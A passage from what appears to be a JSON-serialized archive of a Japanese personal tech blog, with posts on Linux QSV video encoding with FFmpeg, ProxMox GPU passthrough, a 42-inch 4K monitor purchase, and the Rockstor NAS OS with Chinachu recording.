6</a></blockquote>\n<script async src=\"//platform.twitter.com/widgets.js\" charset=\"utf-8\"></script>\n\nすでにこのフォントを持っている方は、お手数ですがSlidoonのNoto Sans CJK JPのフォント指定を全てそちらに変更いただくと、よりSplatoonっぽいスライドが作成できるかと思います。\n\nまた、学生の方はフォントワークス社のフォントが非商用利用で4年間利用できるライセンスが5000円+税で契約できるので、イカしたスライドが作りたいならば契約をお勧めします。\n\n[SBT LETSストア 学生向け|トップページ](http://store.sbtlets.jp/sbtletsst/)\n\n\n### まとめ\n\n実践イカパケット解析のスライドを作成する時間のほうがパケットを解析する時間より長くなってしまったので、ぜひともこの努力を無駄にしないためにもSlidoonテーマをみんな使って欲しいです。。。\n\n-----\n\nさて、以上がSplatoon Advent Calendar 8日目の記事でした。\n前日・前々日と技術的な話が続いていましたが箸休めになったでしょうか。\n\n明日は[HoryGrail](https://twitter.com/holygrail)さんのウデマエS+を目指す話です。\n煽りイカは好きじゃないのでハードルは上げず、このままバトンタッチします。\n\nそれでは、マンメンミ!\n"]}],[0,{"slug":[0,"2015/12/21/linux-qsv-encode/"],"data":[0,{"title":[0,"クリスマスなのでLinuxでQSVエンコードする"],"date":[3,"2015-12-21T14:58:29.000Z"],"image":[0,"/assets/images/2015/12/21/ffmpeg-cmd.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"Multimedia"]]],"tags":[1,[[0,"ffmpeg"],[0,"imss"],[0,"qsv"],[0,"xeon"],[0,"linux"]]]}],"content":[0,"\nこちらは[DTV Advent Calendar](http://www.adventar.org/calendars/835) 21日目の記事です。\n\nみなさん録画データの管理はどうしていますか?\n視聴したら消す人もいれば、視聴しても残しておく人、視聴してない詰みTSがたくさんある人、いろいろあると思います。\n残しておけば不慮の事故がない限り、いつでも見返すことができますが、どんどんとHDDの空き容量が少なくなっていくのが現実です。\n私は録画データは変換せずに取って置く人間なので、Disk fullで録画失敗した回数は数知れず、これまで2年間で10TB超の録画が溜まっています。\n年末の大掃除も兼ねて、いくつか録画データを削除したくもなかなか踏み切れず、結局空き容量は一つも増えていません。\n\nこれでは年始の相棒スペシャルが録画できないので、録画データを消さずに空き容量を増やさなければなりません。\nそこで考えられるのが動画のエンコード。DTV Advent Calendar経由でこの記事に他取り付いた人にとっては当たり前のことかもしれませんが、録画データをH.264エンコードして保管することにしました。\n\nそこで検討する必要があるのがエンコード方法。\n地デジにおいてはx264を用いたソフトウェアエンコードが一般的なようですが、他にもNVidia製GPUを用いたnvencやIntel CPUに搭載のグラフィックプロセッサによるQuick Sync Video(QSV)などがあります。\nLinuxにおいてはffmpeg/x264のソフトウェアエンコードの方法ばかりがWebに蔓延する中、他の方法はほとんど取り上げられていません。寂しいです。\n\n前置きが長くなりましたが、LinuxでQSVエンコードする方法をご紹介します。\n\n## 目次\n\n\n## FFmpegによるLinuxでのQSVエンコード\n\n今年の頭に書いた記事でもLinuxでのQSVを取り上げました(参照: [Intel QSVのH.264エンコードをLinuxで! - 犬アイコンのみっきー](../2015/2015-01-30-intel-qsv-on-linux.md))。しかしあれから約1年が経ち、いろいろと変わってきたので\n環境の再構築とパッケージの修正などを行いました。\nQSVエンコード環境の導入に関して必要なエンコーダーは、自分で用意する必要もなくなり、QSVを利用できる環境も大きく変わりました。\n\n今回紹介するバージョンでは以下の環境でのみ動作します。\n\n| 項目名| 対応環境 |\n|:------:|:--------:|\n| CPU | Haswell/Broadwell Core iシリーズ, Xeon E3 v3/v4 with GPU |\n| OS | CentOS 7.1 |\n\n### 環境構築\n\n今回構成するシステムは下図のようになっています。\n\n\n<img src=\"/assets/images/2015/12/21/recording-server.png\" width=\"640\" height=\"480\">\n\n\nPT3とUSB ICカードリーダーをパススルーした[Chinachu](https://github.com/kanreisa/Chinachu)環境に加えて、Intel HD GraphicsをパススルーしたQSVエンコード用のCentOSを[ProxMox VE](https://pve.proxmox.com/)の上で動作させています。\n今回はQSVのお話なのでChinachuの環境構築の紹介はしません。\n\n#### Intel HD Graphics Pass-through\n\n昨年のLinux Advent CalendarにてIntel HD Graphics Pass-throughを取り上げましたが(参照:[KVMでQSVするためIntel HD Graphicsパススルーするー](../2014/2014-12-12-kvm-intel-hd-graphics-passthrough.md))、あれから1年が経ち色々と変わってきている部分があります。\n1年前は[ProxMox](https://www.proxmox.com/) 3.2で構築していた仮想マシンも今では4.1となり、自前でカーネルをビルドする必要がなくなったことが大きな違いです。\nそのため、ProxMoxのカーネルはそのままに、Pass-through機能を有効にする設定をいじるだけでIntel HD Graphicsのパススルーができます。\n\n前回の方法では自前ビルドのカーネルで有効にしていたIOMMUの機能が、ProxMox 4.1の標準カーネルではデフォルト無効になっているので、有効にしてあげるように起動時パラメータを指定します。\nroot権限で以下のように実行し、IOMMUを有効化します。\n\n```\n# sed -i -e 's/\\(GRUB_CMDLINE_LINUX=\"\\)\\(.*\"\\)/\\1intel_iommu=on \\2/' /etc/default/grub\n# grub-mkconfig -o /boot/grub/grub.cfg\n# reboot\n```\n\nIOMMUが有効になれば、あとは仮想マシンの設定ファイルにIntel HD Graphicsをパススルーする記述を加えるのみです。\n全体的には以下のようなPorxMox仮想マシン設定ファイルが出来上がりました。\n\n```\nbios: ovmf\nboot: cdn\nbootdisk: sata0\ncores: 4\ncpu: host\nhostpci0: 00:02.0,pcie=1,rombar=on,x-vga=on\nide2: iso-image:iso/CentOS-7-x86_64-Minimal.iso,media=cdrom\nmachine: q35\nmemory: 4096\nname: QSV\nnet0: e1000=66:63:63:25:51:27,bridge=vmbr0\nnuma: 0\nostype: l26\nsata0: local:115/vm-115-disk-1.qcow2,size=32G\nserial0: socket\nsmbios1: uuid=4b9f905b-66a5-4858-b1db-914bfd369aeb\nsockets: 1\n```\n\nCentOSにてQSV対応カーネルをビルドする都合上、4コア割り当てていますが環境構築後は1コアに変更しても十分なパフォーマンスが発揮できます。\nあとはこのパススルーした仮想マシンにCentOS 7.1をインストールし、QSVエンコード環境を作っていきます。\n仮想マシンであろうがなかろうが続くQSV環境の導入に関する話で行うことは全く一緒なので、素のCentOS 7.1で行っているものとして読んでください。\n\n\n### Intel Media Server Studio\n\n今年の頭に書いた記事でもIntel Media Server Studio(以下、MSS)を紹介しましたが、当時は数千ドルする有償SDKのみの公開だったため、試用期間しか利用できず、導入方法とエンコードの実験を行うだけでした。\nしかし、今年9月にMSSのアップデートがあり、バージョンR6の登場とともに無償のCommunity Editionが公開され、私的利用の範囲で無期限で利用することができるようになりました。\n今回はそれを導入し、QSVによる動画のH.264エンコードを行います。\n\n[Intel® Media Server Studio \\| Intel® Developer Zone](https://software.intel.com/en-us/intel-media-server-studio)\n\n\n\n手順は前に紹介した時のものとあまり大きくは変わらないのですが、今回もMSSのインストールスクリプトに少々バグがあります。\n文字でつらつらと説明するのも読者側からすればめんどくさいの一言で嫌われてしまう記事になってしまうので、MSSのインストールスクリプトを用意しました。\n\n[**mzyy94/QSV-on-Linux on GitHub**](https://github.com/mzyy94/QSV-on-Linux)\n\nREADME.mdを読み、スクリプトの内容を確認し、MSSを用意したら以下のようにコマンドを叩くとインストールされます。\n\n```\n$ ./install-MSS.sh\n```\n\n### FFmpegによるQSVエンコード\nFFmpegもバージョンアップがあり、昨日2015/12/20にバージョン2.8.4が公開されました。\nこの1年のバージョンアップの間に標準でQSVエンコーダーが搭載され手動で追加する必要がなくなりました。\nしかし今回導入したMSS 2015 R6では必要なファイルが不足しているため、いくつか手を加えなければいけません。\nこれもまた何をするかを事細かに説明するよりかはスクリプト実行で導入できた方が楽なので、よしなにしてくれるものを用意してあります。\n\n先ほどのリポジトリに移動し、以下のようにすることでQSVに対応したFFmpegができあがります。\n\n```\n$ ./build-ffmpeg.sh\n```\n\n他のエンコーダー/デコーダーが必要な場合は適宜修正して導入してください。\n\n### 地デジをエンコード\n\nDTV(Digital TeleVision = デジタルテレビ放送) Advent Calendarのネタなので、地上デジタル放送の録画TSファイルをエンコードしてやっと完結です。\nということで、2015/12/19放映のご注文はうさぎですか??第11羽をエンコードしてみます。\n\n```\n$ ffmpeg -y -i gr23608-18yd.m2ts -f mp4 -vcodec h264_qsv -vprofile main -level 4.1 -s 1280x720 -r 24 -q 20 -acodec copy gochiusa11.mp4\n```\n\n\nと、エンコードしてみたものの、ProxMox 4.xのバグらしいものを踏んでしまい、ホストOSがカーネルパニックになってしまったために、エンコードが終了しませんでした。\nなので投稿日の夕方になってベアメタルマシンに導入して試しています(故にAdvent Calendarに間に合わなカッタ)。\n\n#### 結果\n\n約9分でQSVによるH.264エンコードが終わりました。\n\n| 項目 | 元ファイル | 変換後ファイル |\n|:----:|:-----:|:---------:|\n| 長さ | 29:56 | 29:56(カットなし) |\n| ファイルサイズ | 1963490988 bytes (1.87GB) | 62257131 bytes (594MB) |\n| 解像度 | 1440x1088 | 1280x738 |\n| フレームレート | 29.97 | 24.00 |\n| 動画コーデック | MPEG-2 | H.264 |\n| 音声コーデック | AAC | AAC(無変換) |\n\n\n##### 元ファイル(MPEG-2)\n\n[](/assets/images/2015/12/21/syaro-original.png)\n\n##### 変換後ファイル(H.264)\n\n[](/assets/images/2015/12/21/syaro-qsv.png)\n\n\n-----\n\n\n以上、DTV Advent Calendar 21日目の記事でした。\n明日は[rndomhack](https://twitter.com/rndomhack)さんです。\n"]}],[0,{"slug":[0,"2016/01/10/42inch-4k-display/"],"data":[0,{"title":[0,"42インチのAH-IPS 4Kディスプレイ買ってみた"],"date":[3,"2016-01-09T20:00:00.000Z"],"image":[0,"/assets/images/2016/01/10/42inch-splatoon.jpg"],"author":[0,"mzyy94"],"categories":[1,[[0,"Display"]]],"tags":[1,[[0,"4k"],[0,"ips"],[0,"ah-ips"],[0,"hardware"],[0,"monitor"]]]}],"content":[0,"\n年が明け、2016年。27インチのWQHD(2560x1440)ディスプレイを使い続けていたものの、情報量が少ないことが気になり始めました。\n2年ほど前から使い始めていたDELLのU2713HM自体には大きな不満もなかったものの、巷で聞こえる「4Kはいいぞ」の声に触発されて徐々に不満を感じ始めました。\n年も変わるのでこの機にがらっと入れ替えてしまおうと思い、WQHDからUHD(4K)に買い換えました。\n\n年末年始を費やして情報を集め、とある4Kディスプレイを買うまでの話、買ったあとの満足度を伝えていきます。\n\n## 目次\n\n\n## 情報量の多い4K\n\n4Kディスプレイはいろいろなメーカーが展開しており、いくつも選択肢があります。\nしかし、多くのメーカーが販売している4Kディスプレイのサイズは27から32インチと、\n解像度の割には小さなサイズのものしかバリエーションを取り揃えてなかったりします。\n27インチWQHDディスプレイで情報量不足を感じていたのにもかかわらず、\n同じサイズで4Kを出されても目を酷使しないと情報量が解像度分だけ大きくなることはありません。\n4Kにしても27インチに今まで通り10ピクセルのフォントサイズでははっきり見えたものではありません(※個人の感想です)。\nかといってフォントサイズを大きくしたら解像度分だけ情報量を増やすことができません。\n\n27インチでWQHDなので今までは109ppiありました。この密度に慣れてしまったので、\n109ppi前後の密度の4Kディスプレイに交換しないと情報量は増えないのです(※個人の感想です)。\n109ppi前後の画素密度で4Kディスプレイを求めるとなると、サイズは41インチ前後となります。\nそのため、41インチ前後に対象を絞って4Kディスプレイを探し始めました。\n\n\n## 41インチ前後の4Kディスプレイ\n\n41インチ前後の4Kディスプレイで日本でトップに位置する売り上げを叩き出しているものに、Philipsの[BDM4065UC/11](http://www.amazon.co.jp/PHILIPS-40%E5%9E%8B4K%E5%AF%BE%E5%BF%9C%E3%83%AF%E3%82%A4%E3%83%89%E6%B6%B2%E6%99%B6%E3%83%87%E3%82%A3%E3%82%B9%E3%83%97%E3%83%AC%E3%82%A4-5%E5%B9%B4%E9%96%93%E3%83%95%E3%83%AB%E4%BF%9D%E8%A8%BC-BDM4065UC-11/dp/B00P9VXD9A/ref=sr_1_1?ie=UTF8&qid=1452263864&sr=8-1&tag=mzyy-22)があります。\n\n<a rel=\"nofollow\" href=\"http://www.amazon.co.jp/gp/product/B00P9VXD9A/ref=as_li_ss_il?ie=UTF8&camp=247&creative=7399&creativeASIN=B00P9VXD9A&linkCode=as2&tag=mzyy-22\"><img border=\"0\" src=\"http://ws-fe.amazon-adsystem.com/widgets/q?_encoding=UTF8&ASIN=B00P9VXD9A&Format=_SL500_&ID=AsinImage&MarketPlace=JP&ServiceVersion=20070822&WS=1&tag=mzyy-22\" ></a>\n\n2014年からのロングセラー商品となっており、購入の決め手となるのはなんといっても価格。40インチサイズの情報量の多い4Kディスプレイを7万円台で購入できるとあって、長くコンスタントに売れている機種のようです。しかし、少し気になる点がありました。パネルの種類です。\n\n## 目に優しい4Kディスプレイ\n\n液晶ディスプレイのパネルにはいくつか種類があります。詳しいパネルの違いに関しては、古い記事ですが以下のサイトにて詳しく紹介されています。\n\n[第4回 TN?VA?IPS?──液晶パネル駆動方式の仕組みと特徴を知ろう \\| EIZO株式会社](http://www.eizo.co.jp/eizolibrary/other/itmedia01_04/)\n\nFHD(1920x1080)ディスプレイが出揃い始めた頃、TNパネルやIPSパネルの良し悪しで議論が相次いでいましたが、程なくしてほとんどのパネルがIPSへと収束していきました。\n4Kディスプレイもで始めた頃はTNパネル・IPSパネル両種が市場に出回っていましたが、現在はIPSに落ち着いているようです。\nしかしこれは、4Kディスプレイ市場の過半数を占める27から32インチ帯での話です。\n41インチ前後の4Kディスプレイでは話が変わってきます。\nこのサイズ帯では、ほとんどがVAパネルとなっているのです。\nVAパネルも年々進化を遂げており、視野角などの問題もほとんど解消されているようです。\n\nパネルの種類はそれぞれの好みが分かれる点ですが、DELLのIPSパネルを使い続けていて目に優しく疲れにくかったため、IPSパネルを採用する4Kディスプレイを購入したく思いました。\nここで日本国内で販売・購入できる41インチ前後の4Kディスプレイを並べてみます。\n\n型番 | メーカー | サイズ | パネル | 発売日\n:---:|:---:|:---:|:---:|:---:|:---:\n[LCD-M4K401XVB](http://www.amazon.co.jp/gp/product/B018T5WQPE/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B018T5WQPE&linkCode=as2&tag=mzyy-22) | I-O DATA | 39.5インチ | VA |2015/12/25\n[X4070UHS](http://www.amazon.co.jp/gp/product/B012LTUJDA/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B012LTUJDA&linkCode=as2&tag=mzyy-22) | iiyama | 40インチ | MVA | 2015/7/27\n[BDM4065UC/11](http://www.amazon.co.jp/gp/product/B00P9VXD9A/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B00P9VXD9A&linkCode=as2&tag=mzyy-22) | Philips | 40インチ | VA | 2014/12/27\n[D431US](http://www.amazon.co.jp/gp/product/B011AODN62/ref=as_li_ss_tl?ie=UTF8&camp=247&creative=7399&creativeASIN=B011AODN62&linkCode=as2&tag=mzyy-22) | DOSHISHA | 43インチ | VA | 2015/7/27\n[EFK-43M4KD](http://ck.jp.ap.valuecommerce.com/servlet/referral?sid=3198126&pid=883920088&vc_url=http%3A%2F%2Fonline.nojima.co.jp%2Fcommodity%2F1%2F0479960004685%2F) | nojima | 43インチ | IPS | 2015/11/15\n\n前途の通り、大半がVAパネルとなっています。昨年の暮れに発売されたnojimaの製品が国内販売されている41インチ前後の4Kディスプレイで唯一のIPSパネルになります。\nしかし、購入者レビューを漁ってみたところ、妥協する点が多く感じた上に、せっかくの*広大なサイズを生かした機能*が搭載されていないことが大きなマイナスポイントとなっています。\n\n## 広大なサイズを生かした様々な機能\n\n41インチ級4Kディスプレイをの広大なピクセルをすべて使い、一つの映像を表示するだけでも十分に多くの情報を表示・閲覧できます。\nそこに加えて他の映像を追加して表示させてると、広さゆえより快適になるのではないでしょうか。\n例えるなら、27インチWQHDにもう一枚27インチWQHDディスプレイを買い足し、デュアルディスプレイにして二つの映像を表示することで、快適度が随分とあがります。\n同じように快適度をあげられる機能が、いくつかの大型のディスプレイには4Kに限らず搭載されており、仕組みとしては1枚のディスプレイを分割し擬似的に複数のディスプレイとして表示させるものとなっています。\nPicture by Pictureや、Picture in Pictureと呼ばれる機能です。\n41インチ級のディスプレイを購入する上で、これらは個人的に欠かせない機能となっていました。\n\n### Picture by Picture (PbP)\n\n\n\n1枚のディスプレイを縦や横に分割して表示する機能です。\nディスプレイに備わっている映像入力ポートからの入力を2つ選択し、\n左右または上下もしくはその両方に分割された擬似的な複数の画面にそれぞれ映像を出力できるものです。\n2画面分割に限らず、3画面、4画面の分割をサポートしているものもあります。\nこれによって、ベゼル幅0mmの狭額縁のディスプレイでデュアルディスプレイをしているような感覚になります。\n\n\n### Picture in Picture (PiP)\n\n\n\n一つの映像の上に小画面を表示し、ながら作業ができるものです。\nこれもまたディスプレイの映像入力ポートからメインと小画面の映像を選択し、表示させるものです。\n大画面を必要とする作業をしながらテレビを見たいときなどに便利な機能です。\n\n\n## 海外の41インチ級4Kディスプレイ\n\nこれまでに述べてきた新規購入する4Kディスプレイに求める特徴は、\n\n* 109ppi以上 = 41インチ前後\n* IPS/AH-IPSパネル採用\n* PiP/PbPが可能\n\nです。\n一つ目の条件から、国内で購入できるものは先の一覧にあるとおり5種類しかありません。2つ目の条件で絞るとnojimaのEFK-43M4KDしか残りません。3つ目の条件をも当てはめると、それすらも消えてしまします。\n日本で販売されている製品の中からでは希望の4Kディスプレイは見つけられないという結論が出ました。\n\nなので日本で販売されている製品に限らず、海外でのみ販売されているような4Kディスプレイにまで視野を広げて考えることにしました。\n海外の4K液晶情報は情報はなかなかWebにはまとめられておらず、条件に合うものを見つけるのに苦労しましたが、いくつかのメーカーの製品がヒットしました。\n\n### Crossover 434K IPS Final\n\n[**Crossover 434K IPS Final**](http://rover.ebay.com/rover/1/711-53200-19255-0/1?icep_ff3=9&pub=5575151077&toolid=10001&campid=5337802045&customid=&icep_uq=434K+IPS+Final&icep_sellerId=&icep_ex_kw=&icep_sortBy=12&icep_catId=80053&icep_minPrice=&icep_maxPrice=&ipn=psmain&icep_vectorid=229466&kwid=902099&mtid=824&kw=lg)\n\n上記3条件全てに合致しているCrossover社の43インチ4Kディスプレイです。\n日本語で書かれている仕様が見つからなかったので、Google翻訳で訳した製品仕様は以下のようになっていました。\n\n 項目 | 機能\n:----:|:------\nサイズ| 43インチ\nパネル| AH-IPS\n解像度| 3840x2160 60Hz\n応答時間 | 5ms\n視野角| 上下左右178°\nDisplayPort入力 | 2 (Ver1.2)\nHDMI入力 | 3 (Ver2.0)\nVGA入力 | 1\nPbP | ◯(2画面,3画面,4画面)\nPiP | ◯\nUSBハブ | ×\n\n\n### WasabiMango UHD420 REAL4K HDMI 2.0\n\n[**UHD420 REAL4K HDMI 2.0**](http://rover.ebay.com/rover/1/711-53200-19255-0/1?icep_ff3=2&pub=5575151077&toolid=10001&campid=5337802045&customid=&icep_item=131556558528&ipn=psmain&icep_vectorid=229466&kwid=902099&mtid=824&kw=lg)\n\nCrossover社の製品に似た、WasabiMango社の42インチサイズの4Kディスプレイです。\nこれもまた日本語で書かれている仕様が見つからなかったので、Google翻訳で訳した製品仕様は以下のようになっていました。\n\n 項目 | 機能\n:----:|:------\nサイズ| 42インチ\nパネル| AH-IPS\n解像度| 3840x2160 60Hz\n応答時間 | 5ms\n視野角| 上下左右178°\nDisplayPort入力 | 1 (Ver1.2)\nHDMI入力 | 4 (Ver2.0 x2, Ver1.4 x2)\nVGA入力 | 1\nPbP | ◯(2画面,3画面,4画面)\nPiP | ◯\nUSBハブ | ◯ (USB 3.0x3)\n\n## UHD420 REAL4K HDMI 2.0購入\n\n上記2製品どちらも希望を満たすスペックだった上に見た目も酷似していたため、どちらを選んでも満足度は同じであろうと思っていたのですが、前者はeBayに在庫がなかったため、後者のUHD 420 REAL4K HDMI 2.0を購入しました。\n在庫があり最安だった[送料込み489英ポンドの品](http://rover.ebay.com/rover/1/711-53200-19255-0/1?icep_ff3=2&pub=5575151077&toolid=10001&campid=5337802045&customid=&icep_item=131556558528&ipn=psmain&icep_vectorid=229466&kwid=902099&mtid=824&kw=lg)を発注し、PayPalで送金後2日足らずで届きました。eBayのポンド→円レートと商品受取時の関税支払いを合わせて88,200円でした。\n\n\n### 箱サイズ\n\nプチプチを剥がすときにすこし破損してしまいましたが、箱のサイズはこのくらい\n\n\n\n上に乗ってるのはきんいろモザイクのBlu-rayディスクケースと500mlペットボトル(サイズ感伝わってくれっ\n\n\n### 付属品\n\nそして付属品\n\n\n\n電源ケーブル・HDMIケーブル・DisplayPortケーブル・USB 3.0ケーブル(オス-オス)・ネジ6本・説明書、そして写真には写っていないですが、設定操作リモコンとディスプレイの足が入っていました。\n付属品のネジはおそらくディスプレイに足を取り付けるためのものだと思うんですが、ディスプレイに空いている足取り付け用のネジ穴に入れてもガバガバで取り付けられませんでした。\n測ってみたところ、付属していたネジはM4x10mmで、ディスプレイに空いている足取り付け用のネジ穴はM5径でした。そりゃ全然合わないわけだ。\nM5ネジは近場で買える代物だったので、問い合わせすることなく近所のホームセンターに買いに行き、M5x15mm + ナット + ワッシャー各4個入りを買ってきました。\nM5x10mmは売ってなかったので、ネジが奥まで入る長さにナットで調節しながら足を止めたらしっかりと安定して固定することができました。\n\n\n### ポート類\n入力ポート・出力ポート\n\n\n\n\nUSBハブの入力がtype-Aである点が少々気になったり。\nサービスUSBポート経由でファームウェアのアップデートができるとの噂があったり。\n\n### 設置\n\nでかさ比較\n\n\n\n右に写ってるのがMacBook Air 11インチで左に写ってるのがWii U ゲームパッドです(サイズ感伝わってくれっ!)\n一言で大きさを表現すると、**広げた新聞紙くらい**。\nちなみにこの写真を撮るときにiPhoneのカメラ越しにディスプレイを見てみましたが、ちらつきはなくフリッカーフリーのようです。\n\n\n## MacBook Air Mid2013の外部出力\n\n3年前のMacBook Airにこの4Kディスプレイをつないだところ、1920x1080として認識されてしまいました。\nせっかくの4Kを一切生かしきれていない状態だったので、出力解像度を書き換えてシステムに認識されているサイズ以上の出力をできるようにするソフトウェアを導入しました。\n\n[SwitchResX - The Most Versatile Tool For Controlling Screen Resolutions On Your Mac](http://www.madrau.com/)\n\nこれで出力解像度に4Kを追加すれば動くぞ!っと意気揚々に設定をいじって書き込んでみましたが、対応させられませんとのエラーが。\n画面出力を司るシステムのフレームワークを書き換えたりカーネルモジュールを入れ替えたりなども試してみましたが、どれを用いても4K画質を出力させるまでには至りませんでした。\nこれでは何のために買ったのやら…と途方にくれていましたが、よくよく考えればPbPでテレビを映しながら作業ができるようにPbP/PiP機能付きのものを買っていたので、4K全画面表示させる必要はないのです。\n左半分をメインに、右にサブのWindowsとゲームもしくはテレビを上下に分けて表示できれば十分なのです。\n\n\n\nこれらはディスプレイの設定をいじって3画面PbPにし、それぞれの映像入力を指定するだけで分割できます。\n3画面分割にすると、メインの画面解像度は4Kの半分となり、1920x2160になります。OS X標準ではこの解像度を出すことはできないので、先ほど導入したSwitchResXを用いて、1920x2160の出力設定を追加します。\n\n\n\n\n再起動すると、以下のように1920x2160の解像度が追加されます。\n\n\n\n\n\じゃーん/\n\n\n\n\n## まとめ\n4Kはいいぞ。\n"]}],[0,{"slug":[0,"2016/07/04/do-you-know-rockstor/"],"data":[0,{"title":[0,"NAS用OSにRockstorという選択"],"date":[3,"2016-07-04T11:12:14.000Z"],"image":[0,"/assets/images/2016/07/04/rockstor-disks.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"NAS"]]],"tags":[1,[[0,"docker"],[0,"rockstor"],[0,"btrfs"],[0,"nas"],[0,"linux"]]]}],"content":[0,"\nみなさんはNASのOSとして何を使っていますか?\nFreeNAS、OpenMediaVault、巷にはいくつもOSSのNAS用OSがあります。\nなにを選んだらいいのでしょう?\n\n少し前までは非力なAtomサーバ機にNAS4Freeを入れて使っていましたが、PCでゲームをすることが\nほとんどなくなったので、GameStreamサーバ(旧メインサーバー)を解体してNASとして稼働させることにしました。\n\n\n\nNAS4Freeを使っていた理由はAtomサーバ機に搭載されている256MBフラッシュメモリにOSが焼き込め、\nある程度長期の運用に向いているだろうという直感で決めていました。\n\n旧GameStreamサーバを解体したため、GPUは取り外したもののSandy世代のi5が載っており、\n今までのAtom 330とは段違いの性能があります。\nせっかくなのでココは冒険と、RockstorなるNAS用OSを導入してみました。\n\n## 目次\n\n\n## Rockstorとは\n\n\n[Rockstor](http://rockstor.com/)とは、Rockstor, Inc.が開発・サポートをしているオープンソースの\nNAS用OSです。多々あるNAS用OSと同じWebからの操作形態となっていますが、機能を盛り込みすぎて\nごたごたしている今どきのNAS用OSの操作画面とは真逆を行っていて、簡潔さと美しさで\nUXの面では他を抜いて抜群に優れているインターフェースです。操作性のために情報量を犠牲にしていることは決してなく、\nダッシュボードに表示される情報は見ているだけでもうっとりくるような仕上がりとなっています。\n\n\n\nNAS用OSとうたっているだけあって、標準でSFTP・SMB・AFPなどのファイル共有プロトコル\nのサービスがインストールされていて、共有するフォルダを選択するだけでNASと化すすぐれものです。\n\n\n\n\n\nベースとなるOSは、古くからNAS用OSのトップを走ってきたFreeNASを中心とした\nFreeBSDベースとは違って、そこからフォークしたOpenMediaVaultと同じLinuxベースとなっています。\nOpenMediaVaultがDebianディストリビューションをベースとしている中、このRockstorはCentOSをベースと\nしています。個人的なLinuxディストリビューションの宗派はDebianなので、ベースOSの違いで\nこのRockstorを選んだわけではさらさらなく、Rockstorに搭載されている\nFreeNASに負けず劣らずの強力な機能に惹かれてしまったのです。\n\n## Btrfsの採用\n\n\n\nFreeNASはFreeBSDの血を色濃く残しており、ファイルシステムはZFSを標準としています。\nFreeNASを使っていたころ、ZFSのRAID-Zに<del>親を殺されて</del>ディスクを抹消されてからいい印象がなかったため、\nNAS4FreeではUFSで運用していました。\n\n\n\nUFSではスナップショットの作成がままならなかったり、冗長性の面で不安なこともあり、なにかそういった点で\n特徴のあるファイルシステムが使いたいところでした。その希望にぴたりとあてはまっていたのがこのRockstor\nが採用するBtrfs。詳しいことはよくわからないですが、とにかくすごいのです。どれくらいすごいのか\n言葉で表すのは難しいのですが、ファイルを書き込むときにプラッタにしみこんでいく感覚が伝わってくると思います。\n<del>くわしい情報は[こちら](https://twitter.com/naota344)から。</del>\n\n\n### インストール時のハードディスク指定注意\nBtrfsをベースとしていますが、標準のオートパーティション分割ではLVMを構成してしまってインストール後の起動でBtrfsにインストールしろと怒られるので、インストール時のストレージ選択でI will configure partitioning.を選ぶといいです。\n\n\n\n\n## Rock-onsという名のDockerアプリケーション環境\n\nRockstorの旨みはBtrfs採用でファイル共有ができるNASというところにとどまりません。\nアプリケーションの追加を手軽に行うRock-onsと呼ばれる機能があるのです。\nRock-onsは、アプリケーションをDockerコンテナで実行し、Rockstorの環境を汚すことなく\n様々な機能を**ボタン一つで**追加する機能です。\nFreeNASにもJailとしてアプリケーションをコンテナに押し込む方法がありますが、コマンド入力が多々必要だったり、\nそもそも設定するためにメニューを探してはさまざまな情報を入力させられるなど、手軽とは言い難いものです。\n対してRock-onsは、あらかじめRock-onsレジストリに登録されたアプリケーションしか標準では実行できないものの、\n登録されているアプリケーションであればボタン一つでポチポチと進めていくだけでアプリケーションを動作\nさせることができるのです。\n\n\n\n例えばGitLab CE Rock-onでは、リポジトリの保存先などを設定していくだけで、\nRock-ons上、すなわちNASのDocker上で軽々とGitLab CEを動作させることができます。\n\n\n\n\n## まとめ\n\nWebからの操作では自由度に制限があるものの、これくらい手軽でないとせっかくNAS用OSとして登場\nしてきているのにCentOSを素手で触ったほうがマシと感じることもあるでしょう。Rockstor、めんどくさがり家のあなたにどうですか?\n"]}],[0,{"slug":[0,"2016/07/05/chinachu-rockon/"],"data":[0,{"title":[0,"RockstorにChinachuを詰め込んで録画NAS作ろ"],"date":[3,"2016-07-04T15:07:31.000Z"],"image":[0,"/assets/images/2016/07/05/chinachu-rockon-installed.png"],"author":[0,"mzyy94"],"categories":[1,[[0,"NAS"]]],"tags":[1,[[0,"chinachu"],[0,"docker"],[0,"rockstor"],[0,"pt3"],[0,"nas"],[0,"linux"]]]}],"content":[0,"\n[昨日紹介したRockstor](../2016/2016-07-04-do-you-know-rockstor.md)というNAS用OS、とても便利で快適に使っています。\n今まで低消費電力で非力なマシンで動作させていたNASもCore i5で動作するようになり、\nもっといろいろとやらせてみたくなりました。\n余裕がありそうなので、録画サーバの役割も担ってもらい、録画NASとして我が家で働いてもらいます。\n\n## 目次\n\n\n## Rockstor\n昨日の記事でいろいろと紹介しましたが、見る気がない人・ちょっとだけ知っているから見ない人向けにRockstorとは何ぞやを説明すると、\nCentOSベースのBtrfsを採用したDockerが載ったNAS用OSです。\nDockerが載ってるのはアプリケーションをコンテナの中で実行させることができるようにする仕組みであるRock-onsのためのものであり、\nこのRock-onsを利用することで標準でリストアップされてるRock-onであれば、\nボタン一つでアプリケーションをインストールすることが可能なのです。\nここで強調したいのは、*標準でリストアップされているものであればボタン一つでインストール*できるという話で、\n標準でリストアップされていないものはボタン操作に加えて\n**数行のコマンド操作をするだけでインストールができる**といった隠れた拡張性があるという点です。\n\n## Chinachu\nさて、話題を変えて録画といえばの話。録画といえば過去いろいろなところで何度も紹介しているLinux向けDVR(Digital Video Recorder)\nアプリケーションである[Chinachu](https://github.com/kanreisa/Chinachu)が快適で使い勝手がよいと評判です。\n動作させてからの操作は快適なのですが、動作させるまでがいろいろと面倒くさかったりします。\n例えば地上デジタル放送・衛星放送キャプチャボードであるPT3のドライバの導入。\n初回はもちろんのこと、OSのアップグレードごとにカーネルモジュールをビルドしてインストールしてなどと、\n録画環境を構築する前段階で難しい処理が挟まるのが少々玉に瑕です。\nしかし、ドライバなどの環境を整えた後のChinachu自体のセットアップはある程度簡単にできるようになっています。\nそれどころか、チューナー管理アプリケーションのMirakurun連携とB-CASカードの読み込みまで含めたChinachuの動作環境を、\n**Dockerに押し込めてコマンド一発ですべて仕上がる**ようにしたリポジトリがあるくらいに簡単です。\n\n[Chinachu/docker-mirakurun-chinachu: All in one Mirakurun & 